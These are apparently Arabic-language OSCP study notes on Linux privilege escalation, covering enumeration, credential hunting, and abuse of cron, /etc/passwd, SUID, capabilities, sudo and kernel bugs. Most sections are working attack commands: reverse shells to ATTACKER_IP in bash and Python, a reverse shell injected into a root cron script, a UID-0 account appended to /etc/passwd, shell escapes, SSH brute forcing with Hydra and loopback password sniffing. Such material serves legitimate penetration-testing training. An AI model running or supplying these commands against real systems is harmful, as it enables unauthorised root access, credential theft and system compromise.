Module 15: رفع الامتيازات على Linux

الفلسفة الأساسية في Unix/Linux: "كل شيء ملف" — معظم موارد النظام (ملفات، مجلدات، devices، processes، network interfaces) بتتعامَل كملفات. هذا التصميم بيجعل نموذج الصلاحيات نقطة تحليل مركزية لأي مسار لرفع الامتيازات.

1تعداد بيئة Linux وتحديد نقاط الضعف في نموذج الصلاحيات
2استغلال إعدادات Cron وملفات النظام القابلة للكتابة للوصول لـ root
3تقنيات SUID وCapabilities وSudo والـ Kernel لترقية الامتيازات

نموذج صلاحيات Linux

مثال: -rw-r----- 1 root shadow /etc/shadow - نوع الملف rw- Owner (root) r-- Group (shadow) --- Others - = ملف عادي r=قراءة w=كتابة -=لا execute r=قراءة فقط لا صلاحيات r (Read) قراءة الملف / عَرض محتويات المجلد w (Write) تعديل الملف / إنشاء أو حذف داخل المجلد x (Execute) تشغيل برنامج / الدخول (cd) لمجلد
أي Misconfiguration في هذه الصلاحيات = مسار محتمل لرفع الامتيازات

01تعداد البيئة — يدوي وآلي

التعداد اليدوي — المستخدم والنظام

⚠ ابدأ هنا دايماً

بعد الحصول على Shell، أول سؤال: "مين أنا وإيه اللي أقدر أعمله؟" uid=0 = root مباشرة. uid=1000+ = مستخدم عادي يحتاج ترقية.

الأمرما يكشفهما تبحث عنه
idUID، GID، والمجموعاتمجموعات ذات امتيازات: sudo, docker, disk, adm
cat /etc/passwdكل حسابات المستخدمينحسابات بـ UID=0 غير root، حسابات الخدمات
hostnameاسم الجهازيكشف الدور: web01, db02, dc01
cat /etc/issueتوزيعة Linux وإصدارهايحدّد Kernel Exploits المناسبة
uname -aإصدار الـ Kernel والمعماريةرقم الـ Kernel للبحث عن CVEs
ip aالـ Network Interfacesواجهات متعددة = pivot point محتمل
ss -tulpnالمنافذ المفتوحة + المستمعةخدمات داخلية غير مكشوفة = سطح هجوم جديد
ps auxكل العمليات الجاريةخدمات بتشتغل كـ root (web servers, DBs, backups)
dpkg -l / rpm -qaالتطبيقات المثبَّتة وإصداراتهانقطة بداية بحث Exploits

تعداد Cron Jobs — هدف أساسي

Cron Jobs بتشتغل تلقائياً — غالبًا بصلاحيات root. لو script مُشغَّل بـ cron كـ root وقابل للكتابة من مستخدم عادي → ترقية فورية.

bash — cron enumeration
# الـ Crontab الرئيسي للنظام
cat /etc/crontab

# مجلدات cron الدورية
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.d/

# Cron jobs المستخدم الحالي
crontab -l

# البحث عن scripts قابلة للكتابة في المسارات المذكورة بالـ Crontab
cat /etc/crontab | grep -v '^#'
# → * * * * * root /home/joe/backup.sh
ls -la /home/joe/backup.sh
# → -rwxrwxrw- ← world-writable! اشتغل عليه

البحث عن ملفات ذات صلاحيات غير آمنة

bash — permission hunting
# إيجاد الملفات القابلة للكتابة من أي مستخدم
find / -writable -type f 2>/dev/null | grep -v proc

# إيجاد المجلدات القابلة للكتابة
find / -writable -type d 2>/dev/null

# إيجاد SUID binaries
find / -perm -u=s -type f 2>/dev/null

# إيجاد SGID binaries
find / -perm -g=s -type f 2>/dev/null

# إيجاد ملفات بصلاحيات 777
find / -perm 777 -type f 2>/dev/null

الأدوات الآلية

LinPEAS
الأحدث والأشمل
Colored output — أحمر = نتيجة حرجة. الأكثر تحديثاً والأوسع تغطيةً. يتحمَّل من github.com/carlospolop/PEASS-ng
LinEnum
تعداد شامل — يفحص مئات مسارات الترقية الشائعة. أقل تحديثاً من LinPEAS لكن مجرَّب.
شامل وموثوق
unix-privesc
unix-privesc-check
Script Bash — وضعان: standard (سريع، أقل false positives) وdetailed (أعمق، أبطأ). بدون ملفات إضافية تقريباً.
⚠ الأتمتة ≠ الاكتمال

الأدوات الآلية كثيراً ما تفوَّت إعدادات مخصَّصة وثغرات فريدة. دايماً ادمج الأتمتة مع التحليل اليدوي — الأداة مُسرِّعة مش بديلة.


02آثار المستخدمين وبصمات الخدمات

الملفات المخفية وتاريخ الأوامر

Linux بيخزَّن ملفات الإعداد والتاريخ في ملفات مخفية (بتبدأ بنقطة). هذه الملفات غالبًا مصدر خصيب لبيانات الاعتماد — جهد قليل وعائد مرتفع.

الملفمحتواهما تبحث عنه
~/.bash_historyكل الأوامر المُنفَّذة سابقاًكلمات مرور مُلصَقة مباشرة: mysql -u root -pSuperSecret!
~/.bashrcيُنفَّذ مع كل Shell جديدمتغيّرات بيئة بقيم حساسة للـ Automation Scripts
~/.bash_profileيُنفَّذ عند تسجيل الدخولنفس ما فوق + PATH مخصَّص
~/.profileملف إعداد LoginCredentials للخدمات والـ APIs
~/.ssh/مفاتيح SSHauthorized_keys وid_rsa (مفاتيح خاصة غير محمية)
bash — user trails
# تاريخ الأوامر — غالبًا يحتوي passwords plain text
cat ~/.bash_history
# → mysql -u root -pSuperSecret123
# → curl -u admin:P@ssw0rd! http://internal-api/...

# متغيّرات البيئة المُصدَرة
cat ~/.bashrc
# → export SCRIPT_CREDENTIALS=lab

# كل متغيّرات البيئة الحالية
env
printenv
# → SCRIPT_CREDENTIALS=lab
# → DB_PASSWORD=secret123

# إيجاد ملفات hidden في home directory
ls -la ~
ls -la /home/*/

سلسلة هجوم متغيّرات البيئة

⚙ سيناريو — Env Variable Credential Reuse

① إيجاد SCRIPT_CREDENTIALS=lab في الـ env
② التحقق إنه مُصدَّر في ~/.bashrc (دائم)
③ تجربة الكلمة مباشرة على root: su - root
④ لو فشل → بناء wordlist مخصَّص (Lab000–Lab999) → Hydra على SSH
⑤ credential واحدة ممكن تخترق حسابات متعددة

bash — env attack chain
# تجربة الـ Credential على root مباشرة
su - root
# Password: lab  → لو نجح = root فوري!

# لو فشل → بناء wordlist وBrute-Force
crunch 6 6 -t Lab%%% > lab.txt
# → Lab000, Lab001, ..., Lab999

# Brute-Force SSH مع القائمة المولَّدة
hydra -l eve -P lab.txt ssh://192.168.50.X
# → [22][ssh] login: eve  pass: Lab123

مراقبة العمليات لاصطياد بيانات الاعتماد

المستخدمون ذوو الامتيازات المنخفضة يقدرون بشكل افتراضي يشوفوا Command-Line Arguments لكل العمليات — حتى عمليات root. بعض الخدمات بتمرَّر كلمات المرور مباشرة في Command Line.

bash — process monitoring
# Watch Loop — مراقبة مستمرة لاصطياد credentials
while true; do
  ps aux | grep -i 'pass'
  sleep 1
done

# مثال على ما ممكن تصطاده:
# root 1423 sshpass -p 'W3lcome1!' ssh backup@192.168.1.5

# tcpdump — اصطياد ترافيك الـ Loopback
# (لو tcpdump ممنوح للمستخدم العادي)
tcpdump -i lo -A | grep -i pass
# → Password: r00tpassword!
# → Authorization: Basic YWRtaW46cGFzc3dvcmQ=
✓ اصطياد HTTP Basic Auth

لو شفت Authorization: Basic في الترافيك، القيمة دي Base64 encoded. فكَّها بـ echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d → admin:password


03الصلاحيات غير الآمنة — Cron و/etc/passwd

Writable Cron Script — الاستغلال

Cron Jobs التي يديرها root بتشتغل بصلاحيات root كاملة. لو Script المُشغَّلة بـ Cron موجودة في مكان قابل للكتابة من مستخدم عادي → حقن أوامر → تنفَّذ كـ root.

/etc/crontab * * * * * root /home/joe/backup.sh backup.sh -rwxrwxrw- world-writable! Inject Payload bash reverse shell appended to script nc -lvnp 4444 Listener ready root Shell ✓ < 1 دقيقة
Cron بيشتغل كل دقيقة → Script مُعدَّل → Reverse Shell كـ root في أقل من دقيقة
bash — cron exploitation
# 1. فحص الـ Crontab
cat /etc/crontab
# * * * * * root /home/joe/backup.sh

# 2. التحقق من الصلاحيات
ls -la /home/joe/backup.sh
# -rwxrwxrw- 1 root root backup.sh  ← world-writable!

# 3. حقن Reverse Shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /home/joe/backup.sh

# 4. تشغيل Listener على جهاز المهاجم
nc -lvnp 4444

# 5. انتظار أقل من دقيقة → root shell تصل
# whoami → root

/etc/passwd — استغلال الكتابة العالمية

⬦ /etc/passwd

بيخزَّن معلومات حسابات المستخدمين — قابل للقراءة من الجميع لأسباب التوافق. النظام الحديث بيخزَّن الهاشات في /etc/shadow — لكن Linux ما زال يدعم الهاشات في /etc/passwd للتوافق العكسي. لو الملف قابل للكتابة → ثغرة حرجة.

صيغة الإدخال: username:password:UID:GID:comment:home:shell

المهاجم ممكن يُضيف إدخالاً بـ UID=0 (معاملته بالظبط زي root من الـ OS) مع هاش كلمة مرور معروف — بدون الحاجة لأي exploit.

bash — /etc/passwd abuse
# 1. التحقق إن /etc/passwd قابل للكتابة
ls -la /etc/passwd
# -rw-rw-rw- 1 root root /etc/passwd  ← world-writable!

# 2. توليد هاش كلمة المرور
openssl passwd -1 -salt hacker mypassword
# → $1$hacker$xxxxxxxxxxxxxxxxxxxx

# أو بدون Salt
openssl passwd mypassword

# 3. إضافة حساب جديد بـ UID=0
echo 'root2:$1$hacker$xxxxxxxxxxxxxxxxxxxx:0:0:root2:/root:/bin/bash' >> /etc/passwd

# 4. التبديل للحساب الجديد
su root2
# Password: mypassword

# 5. التحقق
id
# uid=0(root2) gid=0(root) groups=0(root)
★ Quick Win

لو /etc/passwd world-writable — هذا واحد من أسرع مسارات الـ root على الإطلاق. لا Exploit، لا Compilation، لا انتظار — فقط إضافة سطر واحد. دايماً تحقَّق من صلاحياته في بداية التعداد.


04SUID وLinux Capabilities وSudo

SUID — Set-User-ID

⬦ SUID Bit

عادةً، العملية بتشتغل بـ UID المستخدم اللي شغَّلها. لما SUID bit مُعيَّن، البرنامج بيشتغل بصلاحيات مالك الملف — مش المستخدم الحالي. لما تلاقي SUID binary مملوك لـ root وبيسمح بتنفيذ أوامر → أي أمر بيشتغل كـ root. ابحث عن s في الصلاحيات: -rwsr-xr-x

bash — suid exploitation
# البحث عن كل SUID binaries
find / -perm -u=s -type f 2>/dev/null
# → /usr/bin/find  ← الهدف!
# → /usr/bin/passwd  ← شرعي (لتغيير كلمة المرور)
# → /usr/bin/python3  ← خطير!

# التحقق من الـ SUID flag
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root /usr/bin/find

# استغلال find (يسمح بتنفيذ أوامر عبر -exec)
find . -exec /bin/sh -p \; -quit

# التحقق من النتيجة
id
# uid=1000(joe) euid=0(root)  ← effective UID = root!

# أو بطريقة أخرى
find . -exec whoami \;
# → root
✓ GTFOBins — مرجعك الأساسي

gtfobins.github.io — قاعدة بيانات شاملة لتقنيات استغلال مئات الـ Binaries عبر SUID وSudo والـ Capabilities وغيرها. لما تجد SUID binary، ابحث فيه فوراً.

Linux Capabilities

الـ Capabilities بتقسَّم امتيازات root لصلاحيات أصغر ومحدَّدة يمكن منحها لـ Binary معيّن — دون منحه root كامل. أكثر Capability خطرة: cap_setuid — تسمح للـ Binary بتغيير UID الخاص به لـ 0 (root).

bash — capabilities exploitation
# البحث عن كل binaries لها Capabilities
getcap -r / 2>/dev/null
# → /usr/bin/python3 = cap_setuid+ep  ← خطير!
# → /usr/bin/perl    = cap_setuid+ep
# → /usr/bin/ruby    = cap_setuid+ep

# استغلال cap_setuid عبر Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → root shell فوري

# نفس الأسلوب مع Perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# مع Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
★ أي Interpreter بـ cap_setuid = root فوري

python3، perl، ruby، node، php — أي منها بـ cap_setuid+ep بيدّيك root بسطر واحد. getcap -r / 2>/dev/null واحد من أهم الأوامر في التعداد.

Sudo — الاستغلال عبر البرامج المسموح بها

sudo بيسمح للمستخدمين المرخَّصين بتشغيل أوامر كـ root بدون تسجيل الدخول كـ root. القواعد في /etc/sudoers. أهم أمر في الـ PrivEsc على Linux:

bash
sudo -l

ما تبحث عنه في sudo -l

ما تراهالمعنىمسار الاستغلال
NOPASSWD: /usr/bin/vimvim بدون كلمة مرورsudo vim -c ':!/bin/bash'
NOPASSWD: /usr/bin/findfind بدون كلمة مرورsudo find . -exec /bin/sh \;
NOPASSWD: /usr/bin/python3python بدون كلمة مرورsudo python3 -c 'import os; os.system("/bin/bash")'
NOPASSWD: /usr/bin/apt-getapt-get بدون كلمة مرورChangelog pager → !/bin/bash
NOPASSWD: /usr/bin/lessless بدون كلمة مرورsudo less /etc/passwd → !/bin/bash
NOPASSWD: ALLكل الأوامر بدون كلمة مرورsudo /bin/bash مباشرة
bash — sudo exploitation examples
# فحص sudo permissions
sudo -l
# → (root) NOPASSWD: /usr/bin/apt-get

# مثال apt-get — يفتح Pager (less) عند changelog
sudo apt-get changelog apt
# داخل الـ Pager، اكتب:
!/bin/bash
# → root shell

# مثال vim
sudo vim -c ':!/bin/bash'

# مثال less
sudo less /etc/passwd
!/bin/bash

# مثال awk
sudo awk 'BEGIN {system("/bin/bash")}'

# مثال نمطي: أي أداة تفتح shell
# راجع gtfobins.github.io للقائمة الكاملة

05Kernel Vulnerabilities

ليه Kernel Exploits قوية وخطيرة في نفس الوقت

الـ Kernel بيتحكَّم في كل العمليات منخفضة المستوى — Kernel Exploit ممكن يتجاوز كل ضوابط الأمان ويمنح root مباشرة. لكنه الأخطر: Exploit خاطئ أو غير متوافق ممكن يعمل Kernel Panic (Crash) للنظام.

!إصدار الـ Kernel الدقيق — uname -r لازم يتطابق تماماً
!التوزيعة والـ Codename — Ubuntu vs Debian vs CentOS مهمة
!المعمارية — x86_64 vs ARM vs i386 — exploit للمعمارية الغلط = Crash

خطوات Kernel Exploit — من البداية للنهاية

1
جمع معلومات النظام الدقيقة
bash
cat /etc/issue && uname -r && arch
# → Ubuntu 16.04 | 4.4.0-116-generic | x86_64
2
البحث عن Exploits المناسبة
bash
# searchsploit على الـ Kali
searchsploit linux kernel 4.4 local privilege escalation
searchsploit "ubuntu 16.04" local

# أدوات Automated Suggester
# Windows Exploit Suggester - Next Gen (wes.py)
python wes.py --update
python wes.py sysinfo.txt -i 'Privilege Escalation'
3
مراجعة الـ Exploit Source Code

اقرأ الكود — افهم flags التجميع، تعليمات الاستخدام، والشروط المطلوبة. بعض الـ Exploits تحتاج حالات خاصة أو إصدارات محدَّدة من المكتبات.

4
نقل الـ Source وتجميعه على الهدف
bash
# نقل الـ Source للهدف
# (wget, curl, scp, python http.server, nc...)
wget http://ATTACKER_IP/exploit.c

# تجميع على الهدف مباشرة (الأفضل — يضمن التوافق)
gcc exploit.c -o exploit

# التحقق من الناتج
file exploit
# → ELF 64-bit LSB executable, x86-64
5
تنفيذ الـ Exploit
bash
chmod +x exploit
./exploit

# لو نجح:
id
# uid=0(root) gid=0(root) groups=0(root)
6
التحقق والتوثيق

تأكّد إن id بيُظهر uid=0. وثَّق النتيجة. أعِد النظام لحالته المستقرة لو أمكن — Kernel Exploits بعضها بتعدَّل Kernel Memory وممكن تسبَّب عدم استقرار.

⚡ Kernel Exploits = Last Resort

Kernel Exploit فاشل ممكن يوقع النظام — هذا يعني فقدان الوصول الكامل وإنذار فوري للفريق الدفاعي. دايماً جرَّب في Lab مطابق أولاً. استخدمه فقط لو كل الأساليب الأخرى فشلت.


Cheat Sheet مرجعي

Quick Wins — من الأسرع للأبطأ

#الفحصالأمرالمسار
1sudo -l: NOPASSWD entries؟sudo -lGTFOBins → root shell
2/etc/passwd world-writable؟ls -la /etc/passwdإضافة UID=0 account
3cap_setuid على interpreter؟getcap -r / 2>/dev/nullos.setuid(0) → bash
4Cron script قابل للكتابة؟cat /etc/crontab + ls -laحقن Reverse Shell
5SUID binary خطير؟find / -perm -u=s -type f 2>/dev/nullGTFOBins → root shell
6Credential في History/Env؟cat ~/.bash_history && envإعادة استخدام → su/ssh
7/etc/shadow قابل للقراءة؟ls -la /etc/shadowHashcat → كسر كلمة مرور root
8Kernel إصدار قديم؟uname -r + searchsploitKernel Exploit (آخر حل)

التعداد الكامل — أوامر سريعة

bash — full enum checklist
# الهوية الكاملة
id && whoami && groups

# معلومات النظام
cat /etc/issue; uname -a; arch

# المستخدمون والـ Shadow
cat /etc/passwd | grep -v nologin
ls -la /etc/shadow    # هل قابل للقراءة؟
ls -la /etc/passwd    # هل قابل للكتابة؟

# Sudo
sudo -l

# SUID
find / -perm -u=s -type f 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron
cat /etc/crontab; ls /etc/cron*

# Writable files (مهم)
find / -writable -type f -not -path "/proc/*" 2>/dev/null

# History & Env
cat ~/.bash_history; env; cat ~/.bashrc

# الشبكة
ip a; ss -tulpn

# العمليات
ps aux | grep root

# LinPEAS (بعد الأوامر اليدوية)
./linpeas.sh | tee /tmp/linpeas_output.txt

أبرز Binaries على GTFOBins للـ SUID/Sudo

BinarySUID Shell EscapeSudo Shell Escape
findfind . -exec /bin/sh -p \; -quitsudo find . -exec /bin/sh \;
vimvim -c ':py import os; os.execl("/bin/sh","sh","-p")'sudo vim -c ':!/bin/bash'
python3python3 -c 'import os;os.execl("/bin/sh","sh","-p")'sudo python3 -c 'import os;os.system("/bin/bash")'
less—sudo less /etc/passwd → !/bin/bash
awkawk 'BEGIN{system("/bin/sh -p")}'sudo awk 'BEGIN{system("/bin/bash")}'
perlperl -e 'exec "/bin/sh -p";'sudo perl -e 'exec "/bin/bash";'
nmapnmap --interactive → !shsudo nmap --interactive → !sh
cpنسخ /bin/bash → SUIDنسخ /etc/passwd / /etc/shadow

نقل الملفات للهدف — خيارات سريعة

bash — file transfer
# على الـ Attacker: HTTP Server
python3 -m http.server 8080

# على الهدف: تنزيل الملف
wget http://ATTACKER_IP:8080/linpeas.sh
curl -o linpeas.sh http://ATTACKER_IP:8080/linpeas.sh

# بديل: نقل عبر nc
# Attacker: nc -lvnp 4444 < exploit.c
# Target:   nc ATTACKER_IP 4444 > exploit.c

# تنفيذ LinPEAS مباشرة بدون حفظ
curl http://ATTACKER_IP:8080/linpeas.sh | bash

إنشاء Reverse Shell

bash — reverse shells
# Bash Reverse Shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python Reverse Shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'

# Listener على Attacker
nc -lvnp 4444

# Upgrade Shell (بعد الاتصال)
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z → stty raw -echo; fg

الخلاصة العامة للموديول

الموديول ده بنى منهجية شاملة لرفع الامتيازات على Linux — من فهم نموذج الصلاحيات الأساسي، لصيد بيانات الاعتماد من آثار المستخدمين، واستغلال الإعدادات الخاطئة في Cron وملفات النظام، وصولاً لتقنيات SUID وCapabilities وSudo والـ Kernel.

$ cat ./module15_summary.txt

Linux PrivEsc منهجية، مش حظ. ابدأ بـ Quick Wins (sudo -l, /etc/passwd, getcap) → فحص SUID وCron → صيد Credentials من الآثار → Kernel كآخر ملاذ. الصبر والتعداد المنهجي يُفضي للـ root في كل مرة.

★ Professional Mindset

ترتيب الفحوص في الـ Engagement الحقيقي: sudo -l → getcap -r / → ls -la /etc/passwd /etc/shadow → cat /etc/crontab → find / -perm -u=s → cat ~/.bash_history && env → LinPEAS → Kernel. كل خطوة فاشلة ترشدك للتالية. وثَّق كل شيء.


نهاية نوتس الموديول الخامس عشر — OSCP: Linux Privilege Escalation